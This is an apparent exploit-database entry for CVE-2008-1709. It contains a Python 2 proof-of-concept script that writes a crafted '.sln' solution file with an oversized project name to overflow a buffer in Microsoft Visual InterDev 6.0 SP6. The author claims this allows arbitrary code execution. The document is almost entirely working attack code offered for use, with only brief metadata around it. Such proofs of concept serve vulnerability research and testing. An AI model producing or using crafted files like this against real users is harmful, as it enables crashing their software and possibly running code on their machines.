Microsoft Visual InterDev 6.0 SP6 - '.sln' Local Buffer Overflow (PoC)

Author: shinnai
type: dos
platform: windows
port: 
date_added: 2008-04-02 
date_updated: 2016-11-17 
verified: 1 
codes: OSVDB-40352;CVE-2008-1709;CVE-2008-0250 
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#usage: exploit.py FileName

import sys

print "--------------------------------------------------------------------------------"
print ' [PoC 2] Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Execution of arbitrary code is possible, but it annoys me at the moment :)"
print "--------------------------------------------------------------------------------"

buff      = "a" * 264 + "bbbb" + "c" * 256

try:
    sln_file = \
        'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\
        'Project("{}") = "' + buff + '"\n'+\
        'EndProject\n'

    out_file = open(sys.argv[1] + ".sln",'w')
    out_file.write(sln_file)
    out_file.close()
    print "\nFILE CREATION COMPLETED!\n"
except:
    print " \n -------------------------------------"
    print "  Usage: exploit.py FileName"
    print " -------------------------------------"
    print "\nAN ERROR OCCURS DURING FILE CREATION!"

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